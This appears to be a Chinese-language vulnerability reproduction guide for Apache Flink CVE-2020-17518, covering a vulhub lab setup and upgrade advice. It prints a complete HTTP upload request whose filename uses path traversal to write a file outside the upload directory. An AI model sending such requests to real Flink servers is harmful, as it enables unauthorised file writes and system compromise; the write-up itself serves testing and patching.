简介
Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。
漏洞概述
Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。
影响版本
Flink 1.5.1-1.11.2
环境搭建
使用vulhub进行安装
Vulhub地址:
扫描二维码关注公众号,回复:
12443214 查看本文章
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
进入目录
cd vulhub-master/flink/CVE-2020-17518
安装环境
docker-compose up -d
接着访问http://your-ip:8081
这里版本是flink:1.11.2
漏洞复现
构建数据包进行发送
POST /jars/upload HTTP/1.1
Host: 192.168.204.131:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
返回400,但是镜像里面有了success文件,执行成功
修复建议
升级到安全版本
安全版本:
Flink 1.11.3或Flink 1.12.0